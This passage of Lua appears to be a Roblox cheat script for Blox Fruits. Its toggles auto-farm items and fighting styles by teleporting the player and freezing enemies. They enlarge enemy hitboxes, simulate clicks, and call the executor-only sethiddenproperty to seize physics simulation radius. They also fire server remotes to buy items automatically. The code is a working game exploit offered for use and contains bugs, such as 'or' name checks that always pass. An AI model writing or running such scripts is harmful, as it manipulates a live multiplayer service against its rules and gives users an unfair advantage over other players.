                                        AutoHaki()
                                        EquipWeapon(_G.SelectWeapon)
                                        v.HumanoidRootPart.CanCollide = false
                                        v.Humanoid.WalkSpeed = 0
                                        v.HumanoidRootPart.Size = Vector3.new(50,50,50)
                                        topos(v.HumanoidRootPart.CFrame * CFrame.new(2,10,5))
                                        game:GetService("VirtualUser"):CaptureController()
                                        game:GetService("VirtualUser"):Button1Down(Vector2.new(1280,672))
                                        sethiddenproperty(game.Players.LocalPlayer,"SimulationRadius",math.huge)
                                    until not _G.FishTails or not v.Parent or v.Humanoid.Health <= 0
                                end
                            end
						end
					end
			    end)
		          	
			end
		end
		end)
			 iain:Toggle("Auto Magma Ore (Sea 1 and Sea 2)",_G.Ore,function(value)
               	if _G.SelectWeapon == nil or _G.Setting_table.Weapon == nil then

Text("Select Weapon First")
else
	  if newworld == true then
		_G.Ore1 = value
				topos(CFrame.new(-5523.16162109375, 18.34795379638672, -5243.0654296875))
  else
	    _G.Ore = value
				topos(CFrame.new(-5313.37012, 10.9500084, 8515.29395, -0.499959469, 0, 0.866048813, 0, 1, 0, -0.866048813, 0, -0.499959469))
	  end
				   end
    end)
	    spawn(function()
        while wait() do
            if _G.Ore then
                pcall(function()
                    if game:GetService("Workspace").Enemies:FindFirstChild("Military Soldier [Lv. 300]") then
                        for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do
                            if v.Name == "Military Soldier [Lv. 300]" or "Military Spy [Lv. 325]" then
                                if v:FindFirstChild("Humanoid") and v:FindFirstChild("HumanoidRootPart") and v.Humanoid.Health > 0 then
                                    repeat task.wait()
                                        AutoHaki()
                                        EquipWeapon(_G.SelectWeapon)
                                        v.HumanoidRootPart.CanCollide = false
                                        v.Humanoid.WalkSpeed = 0
                                        v.HumanoidRootPart.Size = Vector3.new(50,50,50)
                                        topos(v.HumanoidRootPart.CFrame * CFrame.new(2,10,5))
                                        game:GetService("VirtualUser"):CaptureController()
                                        game:GetService("VirtualUser"):Button1Down(Vector2.new(1280,672))
                                        sethiddenproperty(game.Players.LocalPlayer,"SimulationRadius",math.huge)
                                    until not _G.Ore or not v.Parent or v.Humanoid.Health <= 0
                                end
                            end
						end
					end
			    end)
		          	
			end
		end
		end)
			   spawn(function()
        while wait() do
            if _G.Ore1 then
                pcall(function()
                    if game:GetService("Workspace").Enemies:FindFirstChild("Lava Pirate [Lv. 1200]") then
                        for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do
                            if v.Name == "Lava Pirate [Lv. 1200]" or "Magma Ninja [Lv. 1175]" then
                                if v:FindFirstChild("Humanoid") and v:FindFirstChild("HumanoidRootPart") and v.Humanoid.Health > 0 then
                                    repeat task.wait()
                                        AutoHaki()
                                        EquipWeapon(_G.SelectWeapon)
                                        v.HumanoidRootPart.CanCollide = false
                                        v.Humanoid.WalkSpeed = 0
                                        v.HumanoidRootPart.Size = Vector3.new(50,50,50)
                                        topos(v.HumanoidRootPart.CFrame * CFrame.new(2,10,5))
                                        game:GetService("VirtualUser"):CaptureController()
                                        game:GetService("VirtualUser"):Button1Down(Vector2.new(1280,672))
                                        sethiddenproperty(game.Players.LocalPlayer,"SimulationRadius",math.huge)
                                    until not _G.Ore1 or not v.Parent or v.Humanoid.Health <= 0
                                end
                            end
						end
					end
			    end)
		          	
			end
		end
		end)
		   _G.Mystic = false
				 iain:Toggle("Auto Mystic (Sea 2)",_G.Mystic,function(value)
                  	if _G.SelectWeapon == nil or _G.Setting_table.Weapon == nil then

Text("Select Weapon First")
else
		_G.Mystic = value
				topos(CFrame.new(-3054.44458, 235.544281, -10142.8193, 0.990270376, -0, -0.13915664, 0, 1, -0, 0.13915664, 0, 0.990270376))
					  end
    end)
	    spawn(function()
        while wait() do
            if _G.Mystic then
                pcall(function()
                    if game:GetService("Workspace").Enemies:FindFirstChild("Water Fighter [Lv. 1450]") then
                        for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do
                            if v.Name == "Water Fighter [Lv. 1450]" then
                                if v:FindFirstChild("Humanoid") and v:FindFirstChild("HumanoidRootPart") and v.Humanoid.Health > 0 then
                                    repeat task.wait()
                                        AutoHaki()
                                        EquipWeapon(_G.SelectWeapon)
                                        v.HumanoidRootPart.CanCollide = false
                                        v.Humanoid.WalkSpeed = 0
                                        v.HumanoidRootPart.Size = Vector3.new(50,50,50)
                                        topos(v.HumanoidRootPart.CFrame * CFrame.new(2,10,5))
                                        game:GetService("VirtualUser"):CaptureController()
                                        game:GetService("VirtualUser"):Button1Down(Vector2.new(1280,672))
                                        sethiddenproperty(game.Players.LocalPlayer,"SimulationRadius",math.huge)
                                    until not _G.Mystic or not v.Parent or v.Humanoid.Health <= 0
                                end
                            end
						end
					end
			    end)
		          	
			end
		end
		end)

		    iain:Button("Buy GodHuman",function()
                    topos(CFrame.new(-13777.498046875, 334.64825439453125, -9879.162109375))

			end)
    
         iain:Seperator("Auto Items (Beta!)")
		  _G.Leather = false
	
	 iain:Toggle("Auto Leather And Scrap Metal (Sea 3,Sea 2,Sea 1)",_G.Leather,function(value)
   	          	if _G.SelectWeapon == nil or _G.Setting_table.Weapon == nil then

Text("Select Weapon First")
else
    if World3 == true then
	    _G.Leather = value
				topos(CFrame.new(-11936.5166015625, 331.7640686035156, -10644.6494140625))
 elseif World2 == true then
	   _G.Leather1 = value
				topos(CFrame.new(638.43811, 71.769989, 918.282898, 0.139203906, 0, 0.99026376, 0, 1, 0, -0.99026376, 0, 0.139203906))
 elseif World1 == true then
	   _G.Leather2 = value
				topos(CFrame.new(-1141.07483, 4.10001802, 3831.5498, 0.965929627, -0, -0.258804798, 0, 1, -0, 0.258804798, 0, 0.965929627))
 end
 end
    end)
    _G.Angel = false
    			 iain:Toggle("Auto Angel Wings (Sea 1)",_G.Angel,function(value)
	          	          	if _G.SelectWeapon == nil or _G.Setting_table.Weapon == nil then

Text("Select Weapon First")
else
			    if World1 == true then
	            _G.Angel = value
				topos(CFrame.new(-7859.09814, 5544.19043, -381.476196, -0.422592998, 0, 0.906319618, 0, 1, 0, -0.906319618, 0, -0.422592998))
                  end
								end
	           end)
               _G.Radio = false
               iain:Toggle("Auto Radioactive Material (Sea 2)",_G.Radio,function(value)
	         	          	if _G.SelectWeapon == nil or _G.Setting_table.Weapon == nil then

Text("Select Weapon First")
else
			    if World2 == true then
	            _G.Radio = value
				topos(CFrame.new(632.698608, 73.1055908, 918.666321, -0.0319722369, 8.96074881e-10, -0.999488771, 1.36326533e-10, 1, 8.92172336e-10, 0.999488771, -1.07732087e-10, -0.0319722369))
                  end
							   end
	           end)
               _G.vamp = false
               iain:Toggle("Auto Vampire Fang (Sea 2)",_G.vamp,function(value)
	          	          	if _G.SelectWeapon == nil or _G.Setting_table.Weapon == nil then

Text("Select Weapon First")
else
			    if World2 == true then
	            _G.vamp = value
				topos(CFrame.new(-5497.06152, 47.5923004, -795.237061, -0.29242146, 0, -0.95628953, 0, 1, 0, 0.95628953, 0, -0.29242146))
                  end
								end
	           end)
               _G.Tusk = false
               iain:Toggle("Auto Mini Tusk (Sea 3)",_G.Tusk,function(value)
	            	          	if _G.SelectWeapon == nil or _G.Setting_table.Weapon == nil then

Text("Select Weapon First")
else
				if World3 == true then
	            _G.Tusk = value
				topos(CFrame.new(-13234.04, 331.488495, -7625.40137, 0.707134247, -0, -0.707079291, 0, 1, -0, 0.707079291, 0, 0.707134247))
                  end
								  end
	           end)
               _G.powder = false
               iain:Toggle("Auto Gunpowder (Sea 3)",_G.powder,function(value)
	            	          	if _G.SelectWeapon == nil or _G.Setting_table.Weapon == nil then

Text("Select Weapon First")
else
				if World3 == true then
	            _G.powder = value
				topos(CFrame.new(-290.074677, 42.9034653, 5581.58984, 0.965929627, -0, -0.258804798, 0, 1, -0, 0.258804798, 0, 0.965929627))
                  end
								  end
	           end)
               _G.demonic = false
               iain:Toggle("Auto Demonic Wisp (Sea 3)",_G.demonic,function(value)
	         	          	if _G.SelectWeapon == nil or _G.Setting_table.Weapon == nil then

Text("Select Weapon First")
else
			    if World3 == true then
	            _G.demonic = value
				topos(CFrame.new(-9516.99316, 172.017181, 6078.46533, 0, 0, -1, 0, 1, 0, 1, 0, 0))
                  end
							   end
	           end)
               spawn(function()
                while wait() do
                    if _G.demonic then
                        pcall(function()
                            if game:GetService("Workspace").Enemies:FindFirstChild("Demonic Soul [Lv. 2025]") then
                                for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do
                                    if v.Name == "Demonic Soul [Lv. 2025]" then
                                        if v:FindFirstChild("Humanoid") and v:FindFirstChild("HumanoidRootPart") and v.Humanoid.Health > 0 then
                                            repeat task.wait()
                                                AutoHaki()
                                                EquipWeapon(_G.SelectWeapon)
                                                v.HumanoidRootPart.CanCollide = false
                                                v.Humanoid.WalkSpeed = 0
                                                v.HumanoidRootPart.Size = Vector3.new(50,50,50)
                                                topos(v.HumanoidRootPart.CFrame * CFrame.new(2,10,5))
                                                game:GetService("VirtualUser"):CaptureController()
                                                game:GetService("VirtualUser"):Button1Down(Vector2.new(1280,672))
                                                sethiddenproperty(game.Players.LocalPlayer,"SimulationRadius",math.huge)
                                            until not _G.demonic or not v.Parent or v.Humanoid.Health <= 0
                                        end
                                    end
                                end
                            end
                        end)
                              
                    end
                end
                end)
               spawn(function()
                while wait() do
                    if _G.powder then
                        pcall(function()
                            if game:GetService("Workspace").Enemies:FindFirstChild("Pistol Billionaire [Lv. 1525]") then
                                for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do
                                    if v.Name == "Pistol Billionaire [Lv. 1525]" then
                                        if v:FindFirstChild("Humanoid") and v:FindFirstChild("HumanoidRootPart") and v.Humanoid.Health > 0 then
                                            repeat task.wait()
                                                AutoHaki()
                                                EquipWeapon(_G.SelectWeapon)
                                                v.HumanoidRootPart.CanCollide = false
                                                v.Humanoid.WalkSpeed = 0
                                                v.HumanoidRootPart.Size = Vector3.new(50,50,50)
                                                topos(v.HumanoidRootPart.CFrame * CFrame.new(2,10,5))
                                                game:GetService("VirtualUser"):CaptureController()
                                                game:GetService("VirtualUser"):Button1Down(Vector2.new(1280,672))
                                                sethiddenproperty(game.Players.LocalPlayer,"SimulationRadius",math.huge)
                                            until not _G.powder or not v.Parent or v.Humanoid.Health <= 0
                                        end
                                    end
                                end
                            end
                        end)
                              
                    end
                end
                end)
               spawn(function()
                while wait() do
                    if _G.Tusk then
                        pcall(function()
                            if game:GetService("Workspace").Enemies:FindFirstChild("Mythological Pirate [Lv. 1850]") then
                                for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do
                                    if v.Name == "Mythological Pirate [Lv. 1850]" then
                                        if v:FindFirstChild("Humanoid") and v:FindFirstChild("HumanoidRootPart") and v.Humanoid.Health > 0 then
                                            repeat task.wait()
                                                AutoHaki()
                                                EquipWeapon(_G.SelectWeapon)
                                                v.HumanoidRootPart.CanCollide = false
                                                v.Humanoid.WalkSpeed = 0
                                                v.HumanoidRootPart.Size = Vector3.new(50,50,50)
                                                topos(v.HumanoidRootPart.CFrame * CFrame.new(2,10,5))
                                                game:GetService("VirtualUser"):CaptureController()
                                                game:GetService("VirtualUser"):Button1Down(Vector2.new(1280,672))
                                                sethiddenproperty(game.Players.LocalPlayer,"SimulationRadius",math.huge)
                                            until not _G.Tusk or not v.Parent or v.Humanoid.Health <= 0
                                        end
                                    end
                                end
                            end
                        end)
                              
                    end
                end
                end)
               spawn(function()
                while wait() do
                    if _G.vamp then
                        pcall(function()
                            if game:GetService("Workspace").Enemies:FindFirstChild("Vampire [Lv. 975]") then
                                for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do
                                    if v.Name == "Vampire [Lv. 975]" then
                                        if v:FindFirstChild("Humanoid") and v:FindFirstChild("HumanoidRootPart") and v.Humanoid.Health > 0 then
                                            repeat task.wait()
                                                AutoHaki()
                                                EquipWeapon(_G.SelectWeapon)
                                                v.HumanoidRootPart.CanCollide = false
                                                v.Humanoid.WalkSpeed = 0
                                                v.HumanoidRootPart.Size = Vector3.new(50,50,50)
                                                topos(v.HumanoidRootPart.CFrame * CFrame.new(2,10,5))
                                                game:GetService("VirtualUser"):CaptureController()
                                                game:GetService("VirtualUser"):Button1Down(Vector2.new(1280,672))
                                                sethiddenproperty(game.Players.LocalPlayer,"SimulationRadius",math.huge)
                                            until not _G.vamp or not v.Parent or v.Humanoid.Health <= 0
                                        end
                                    end
                                end
                            end
                        end)
                              
                    end
                end
                end)
               spawn(function()
                while wait() do
                    if _G.Radio then
                        pcall(function()
                            if game:GetService("Workspace").Enemies:FindFirstChild("Factory Staff [Lv. 800]") then
                                for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do
                                    if v.Name == "Factory Staff [Lv. 800]" then
                                        if v:FindFirstChild("Humanoid") and v:FindFirstChild("HumanoidRootPart") and v.Humanoid.Health > 0 then
                                            repeat task.wait()
                                                AutoHaki()
                                                EquipWeapon(_G.SelectWeapon)
                                                v.HumanoidRootPart.CanCollide = false
                                                v.Humanoid.WalkSpeed = 0
                                                v.HumanoidRootPart.Size = Vector3.new(50,50,50)
                                                topos(v.HumanoidRootPart.CFrame * CFrame.new(2,10,5))
                                                game:GetService("VirtualUser"):CaptureController()
                                                game:GetService("VirtualUser"):Button1Down(Vector2.new(1280,672))
                                                sethiddenproperty(game.Players.LocalPlayer,"SimulationRadius",math.huge)
                                            until not _G.Radio or not v.Parent or v.Humanoid.Health <= 0
                                        end
                                    end
                                end
                            end
                        end)
                              
                    end
                end
                end)
	   spawn(function()
        while wait() do
            if _G.Angel then
                pcall(function()
                    if game:GetService("Workspace").Enemies:FindFirstChild("God's Guard [Lv. 450]") or game:GetService("Workspace").Enemies:FindFirstChild("Royal Squad [Lv. 525]") or game:GetService("Workspace").Enemies:FindFirstChild("Shanda [Lv. 475]") or game:GetService("Workspace").Enemies:FindFirstChild("Royal Soldier [Lv. 550]") then
                        for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do
                            if v.Name == "God's Guard [Lv. 450]" or "Shanda [Lv. 475]" or "Royal Squad [Lv. 525]" or "Royal Soldier [Lv. 550]" then
                                if v:FindFirstChild("Humanoid") and v:FindFirstChild("HumanoidRootPart") and v.Humanoid.Health > 0 then
                                    repeat task.wait()
                                        AutoHaki()
                                        EquipWeapon(_G.SelectWeapon)
                                        v.HumanoidRootPart.CanCollide = false
                                        v.Humanoid.WalkSpeed = 0
                                        v.HumanoidRootPart.Size = Vector3.new(50,50,50)
                                        topos(v.HumanoidRootPart.CFrame * CFrame.new(2,10,5))
                                        game:GetService("VirtualUser"):CaptureController()
                                        game:GetService("VirtualUser"):Button1Down(Vector2.new(1280,672))
                                        sethiddenproperty(game.Players.LocalPlayer,"SimulationRadius",math.huge)
                                    until not _G.Angel or not v.Parent or v.Humanoid.Health <= 0
                                end
                            end
						end
					end
			    end)
		          	
			end
		end
		end)
	    spawn(function()
        while wait() do
            if _G.Leather then
                pcall(function()
                    if game:GetService("Workspace").Enemies:FindFirstChild("Jungle Pirate [Lv. 1900]") then
                        for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do
                            if v.Name == "Jungle Pirate [Lv. 1900]" then
                                if v:FindFirstChild("Humanoid") and v:FindFirstChild("HumanoidRootPart") and v.Humanoid.Health > 0 then
                                    repeat task.wait()
                                        AutoHaki()
                                        EquipWeapon(_G.SelectWeapon)
                                        v.HumanoidRootPart.CanCollide = false
                                        v.Humanoid.WalkSpeed = 0
                                        v.HumanoidRootPart.Size = Vector3.new(50,50,50)
                                        topos(v.HumanoidRootPart.CFrame * CFrame.new(2,10,5))
                                        game:GetService("VirtualUser"):CaptureController()
                                        game:GetService("VirtualUser"):Button1Down(Vector2.new(1280,672))
                                        sethiddenproperty(game.Players.LocalPlayer,"SimulationRadius",math.huge)
                                    until not _G.Leather or not v.Parent or v.Humanoid.Health <= 0
                                end
                            end
						end
					end
			    end)
		          	
			end
		end
		end)
		   spawn(function()
        while wait() do
            if _G.Leather1 then
                pcall(function()
                    if game:GetService("Workspace").Enemies:FindFirstChild("Swan Pirate [Lv. 775]") then
                        for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do
                            if v.Name == "Swan Pirate [Lv. 775]" then
                                if v:FindFirstChild("Humanoid") and v:FindFirstChild("HumanoidRootPart") and v.Humanoid.Health > 0 then
                                    repeat task.wait()
                                        AutoHaki()
                                        EquipWeapon(_G.SelectWeapon)
                                        v.HumanoidRootPart.CanCollide = false
                                        v.Humanoid.WalkSpeed = 0
                                        v.HumanoidRootPart.Size = Vector3.new(50,50,50)
                                        topos(v.HumanoidRootPart.CFrame * CFrame.new(2,10,5))
                                        game:GetService("VirtualUser"):CaptureController()
                                        game:GetService("VirtualUser"):Button1Down(Vector2.new(1280,672))
                                        sethiddenproperty(game.Players.LocalPlayer,"SimulationRadius",math.huge)
                                    until not _G.Leather1 or not v.Parent or v.Humanoid.Health <= 0
                                end
                            end
						end
					end
			    end)
		          	
			end
		end
		end)

			   spawn(function()
        while wait() do
            if _G.Leather2 then
                pcall(function()
                    if game:GetService("Workspace").Enemies:FindFirstChild("Brute [Lv. 45]") then
                        for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do
                            if v.Name == "Brute [Lv. 45]" then
                                if v:FindFirstChild("Humanoid") and v:FindFirstChild("HumanoidRootPart") and v.Humanoid.Health > 0 then
                                    repeat task.wait()
                                        AutoHaki()
                                        EquipWeapon(_G.SelectWeapon)
                                        v.HumanoidRootPart.CanCollide = false
                                        v.Humanoid.WalkSpeed = 0
                                        v.HumanoidRootPart.Size = Vector3.new(50,50,50)
                                        topos(v.HumanoidRootPart.CFrame * CFrame.new(2,10,5))
                                        game:GetService("VirtualUser"):CaptureController()
                                        game:GetService("VirtualUser"):Button1Down(Vector2.new(1280,672))
                                        sethiddenproperty(game.Players.LocalPlayer,"SimulationRadius",math.huge)
                                    until not _G.Leather2 or not v.Parent or v.Humanoid.Health <= 0
                                end
                            end
						end
					end
			    end)
		          	
			end
		end
		end)
	
    iain:Seperator("Fighting Style")
    
    iain:Toggle("Auto Superhuman",_G.AutoSuperhuman,function(value)

        _G.AutoSuperhuman = value
				
    end)
    
    spawn(function()
        pcall(function()
            while wait() do 
                if _G.AutoSuperhuman then
                    if game.Players.LocalPlayer.Backpack:FindFirstChild("Combat") or game.Players.LocalPlayer.Character:FindFirstChild("Combat") and game:GetService("Players")["LocalPlayer"].Data.Beli.Value >= 150000 then
                        UnEquipWeapon("Combat")
                        wait(.1)
                        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BuyBlackLeg")
                    end   
                    if game.Players.LocalPlayer.Character:FindFirstChild("Superhuman") or game.Players.LocalPlayer.Backpack:FindFirstChild("Superhuman") then
                        _G.SelectWeapon = "Superhuman"
                    end  
                    if game.Players.LocalPlayer.Backpack:FindFirstChild("Black Leg") or game.Players.LocalPlayer.Character:FindFirstChild("Black Leg") or game.Players.LocalPlayer.Backpack:FindFirstChild("Electro") or game.Players.LocalPlayer.Character:FindFirstChild("Electro") or game.Players.LocalPlayer.Backpack:FindFirstChild("Fishman Karate") or game.Players.LocalPlayer.Character:FindFirstChild("Fishman Karate") or game.Players.LocalPlayer.Backpack:FindFirstChild("Dragon Claw") or game.Players.LocalPlayer.Character:FindFirstChild("Dragon Claw") then
                        if game.Players.LocalPlayer.Backpack:FindFirstChild("Black Leg") and game.Players.LocalPlayer.Backpack:FindFirstChild("Black Leg").Level.Value <= 299 then
                            _G.SelectWeapon = "Black Leg"
                        end
                        if game.Players.LocalPlayer.Backpack:FindFirstChild("Electro") and game.Players.LocalPlayer.Backpack:FindFirstChild("Electro").Level.Value <= 299 then
                            _G.SelectWeapon = "Electro"
                        end
                        if game.Players.LocalPlayer.Backpack:FindFirstChild("Fishman Karate") and game.Players.LocalPlayer.Backpack:FindFirstChild("Fishman Karate").Level.Value <= 299 then
                            _G.SelectWeapon = "Fishman Karate"
                        end
                        if game.Players.LocalPlayer.Backpack:FindFirstChild("Dragon Claw") and game.Players.LocalPlayer.Backpack:FindFirstChild("Dragon Claw").Level.Value <= 299 then
                            _G.SelectWeapon = "Dragon Claw"
                        end
                        if game.Players.LocalPlayer.Backpack:FindFirstChild("Black Leg") and game.Players.LocalPlayer.Backpack:FindFirstChild("Black Leg").Level.Value >= 300 and game:GetService("Players")["LocalPlayer"].Data.Beli.Value >= 300000 then
                            UnEquipWeapon("Black Leg")
                            wait(.1)
                            game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BuyElectro")
                        end
                        if game.Players.LocalPlayer.Character:FindFirstChild("Black Leg") and game.Players.LocalPlayer.Character:FindFirstChild("Black Leg").Level.Value >= 300 and game:GetService("Players")["LocalPlayer"].Data.Beli.Value >= 300000 then
                            UnEquipWeapon("Black Leg")
                            wait(.1)
                            game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BuyElectro")
                        end
                        if game.Players.LocalPlayer.Backpack:FindFirstChild("Electro") and game.Players.LocalPlayer.Backpack:FindFirstChild("Electro").Level.Value >= 300 and game:GetService("Players")["LocalPlayer"].Data.Beli.Value >= 750000 then
                            UnEquipWeapon("Electro")
                            wait(.1)
                            game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BuyFishmanKarate")
                        end
                        if game.Players.LocalPlayer.Character:FindFirstChild("Electro") and game.Players.LocalPlayer.Character:FindFirstChild("Electro").Level.Value >= 300 and game:GetService("Players")["LocalPlayer"].Data.Beli.Value >= 750000 then
                            UnEquipWeapon("Electro")
                            wait(.1)
                            game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BuyFishmanKarate")
                        end
                        if game.Players.LocalPlayer.Backpack:FindFirstChild("Fishman Karate") and game.Players.LocalPlayer.Backpack:FindFirstChild("Fishman Karate").Level.Value >= 300 and game:GetService("Players")["Localplayer"].Data.Fragments.Value >= 1500 then
                            UnEquipWeapon("Fishman Karate")
                            wait(.1)
                            game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BlackbeardReward","DragonClaw","1")
                            game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BlackbeardReward","DragonClaw","2") 
                        end
                        if game.Players.LocalPlayer.Character:FindFirstChild("Fishman Karate") and game.Players.LocalPlayer.Character:FindFirstChild("Fishman Karate").Level.Value >= 300 and game:GetService("Players")["Localplayer"].Data.Fragments.Value >= 1500 then
                            UnEquipWeapon("Fishman Karate")
                            wait(.1)
                            game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BlackbeardReward","DragonClaw","1")
                            game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BlackbeardReward","DragonClaw","2") 
                        end
                        if game.Players.LocalPlayer.Backpack:FindFirstChild("Dragon Claw") and game.Players.LocalPlayer.Backpack:FindFirstChild("Dragon Claw").Level.Value >= 300 and game:GetService("Players")["LocalPlayer"].Data.Beli.Value >= 3000000 then
                            UnEquipWeapon("Dragon Claw")
                            wait(.1)
                            game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BuySuperhuman")
                        end
                        if game.Players.LocalPlayer.Character:FindFirstChild("Dragon Claw") and game.Players.LocalPlayer.Character:FindFirstChild("Dragon Claw").Level.Value >= 300 and game:GetService("Players")["LocalPlayer"].Data.Beli.Value >= 3000000 then
                            UnEquipWeapon("Dragon Claw")
                            wait(.1)
                            game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BuySuperhuman")
                        end 
                    end
                end
            end
        end)
    end)
    
    iain:Toggle("Auto DeathStep",_G.AutoDeathStep,function(value)

        _G.AutoDeathStep = value
    end)
    
    spawn(function()
        while wait() do wait()
            if _G.AutoDeathStep then
                if game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Black Leg") or game:GetService("Players").LocalPlayer.Character:FindFirstChild("Black Leg") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Death Step") or game:GetService("Players").LocalPlayer.Character:FindFirstChild("Death Step") then
                    if game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Black Leg") and game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Black Leg").Level.Value >= 450 then
                        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BuyDeathStep")
                        _G.SelectWeapon = "Death Step"
                    end  
                    if game:GetService("Players").LocalPlayer.Character:FindFirstChild("Black Leg") and game:GetService("Players").LocalPlayer.Character:FindFirstChild("Black Leg").Level.Value >= 450 then
                        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BuyDeathStep")
                        _G.SelectWeapon = "Death Step"
                    end  
                    if game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Black Leg") and game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Black Leg").Level.Value <= 449 then
                        _G.SelectWeapon = "Black Leg"
                    end 
                else 
                    game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BuyBlackLeg")
                end
            end
        end
    end)
    
    iain:Toggle("Auto Sharkman Karate",_G.AutoSharkman,function(value)
		          	if _G.SelectWeapon == nil or _G.Setting_table.Weapon == nil then

Text("Select Weapon First")
else
        _G.AutoSharkman = value
					  end
    end)
    
    spawn(function()
        pcall(function()
            while wait() do
                if _G.AutoSharkman then
                    game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BuyFishmanKarate")
                    if string.find(game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BuySharkmanKarate"), "keys") then  
                        if game:GetService("Players").LocalPlayer.Character:FindFirstChild("Water Key") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Water Key") then
                            topos(CFrame.new(-2604.6958, 239.432526, -10315.1982, 0.0425701365, 0, -0.999093413, 0, 1, 0, 0.999093413, 0, 0.0425701365))
                            game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BuySharkmanKarate")
                        elseif game:GetService("Players").LocalPlayer.Character:FindFirstChild("Fishman Karate") and game:GetService("Players").LocalPlayer.Character:FindFirstChild("Fishman Karate").Level.Value >= 400 then
                        else 
                            Ms = "Tide Keeper [Lv. 1475] [Boss]"
                            if game:GetService("Workspace").Enemies:FindFirstChild(Ms) then   
                                for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do
                                    if v.Name == Ms then    
                                        OldCFrameShark = v.HumanoidRootPart.CFrame
                                        repeat task.wait()
                                            AutoHaki()
                                            EquipWeapon(_G.SelectWeapon)
                                            v.Head.CanCollide = false
                                            v.Humanoid.WalkSpeed = 0
                                            v.HumanoidRootPart.CanCollide = false
                                            v.HumanoidRootPart.Size = Vector3.new(50,50,50)
                                            v.HumanoidRootPart.CFrame = OldCFrameShark
                                            topos(v.HumanoidRootPart.CFrame*CFrame.new(2,20,2))
                                            game:GetService("VirtualUser"):CaptureController()
                                            game:GetService("VirtualUser"):Button1Down(Vector2.new(1280, 670))
                                            sethiddenproperty(game:GetService("Players").LocalPlayer,"SimulationRadius",math.huge)
                                        until not v.Parent or v.Humanoid.Health <= 0 or _G.AutoSharkman == false or game:GetService("Players").LocalPlayer.Character:FindFirstChild("Water Key") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Water Key")
                                    end
                                end
                            else
                                topos(CFrame.new(-3570.18652, 123.328949, -11555.9072, 0.465199202, -1.3857326e-08, 0.885206044, 4.0332897e-09, 1, 1.35347511e-08, -0.885206044, -2.72606271e-09, 0.465199202))
                                wait(3)
                            end
                        end
                    else 
                        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BuySharkmanKarate")
                    end
                end
            end
        end)
    end)
    
    iain:Toggle("Auto Electric Claw",_G.AutoElectricClaw,function(value)
        _G.AutoElectricClaw = value
        StopTween(_G.AutoElectricClaw)
    end)
    
    spawn(function()
        pcall(function()
            while wait() do 
                if _G.AutoElectricClaw then
                    if game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Electro") or game:GetService("Players").LocalPlayer.Character:FindFirstChild("Electro") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Electric Claw") or game:GetService("Players").LocalPlayer.Character:FindFirstChild("Electric Claw") then
                        if game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Electro") and game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Electro").Level.Value >= 400 then
                            game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BuyElectricClaw")
                            _G.SelectWeapon = "Electric Claw"
                        end  
                        if game:GetService("Players").LocalPlayer.Character:FindFirstChild("Electro") and game:GetService("Players").LocalPlayer.Character:FindFirstChild("Electro").Level.Value >= 400 then
                            game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BuyElectricClaw")
                            _G.SelectWeapon = "Electric Claw"
                        end  
                        if game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Electro") and game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Electro").Level.Value <= 399 then
                            _G.SelectWeapon = "Electro"
                        end 
                    else
                        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BuyElectro")
                    end
                end
                if _G.AutoElectricClaw then
                    if game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Electro") or game:GetService("Players").LocalPlayer.Character:FindFirstChild("Electro") then
                        if game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Electro") or game:GetService("Players").LocalPlayer.Character:FindFirstChild("Electro") and game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Electro").Level.Value >= 400 or game:GetService("Players").LocalPlayer.Character:FindFirstChild("Electro").Level.Value >= 400 then
                            if _G.AutoFarm == false then
                                repeat task.wait()
                                    topos(CFrame.new(-10371.4717, 330.764496, -10131.4199))
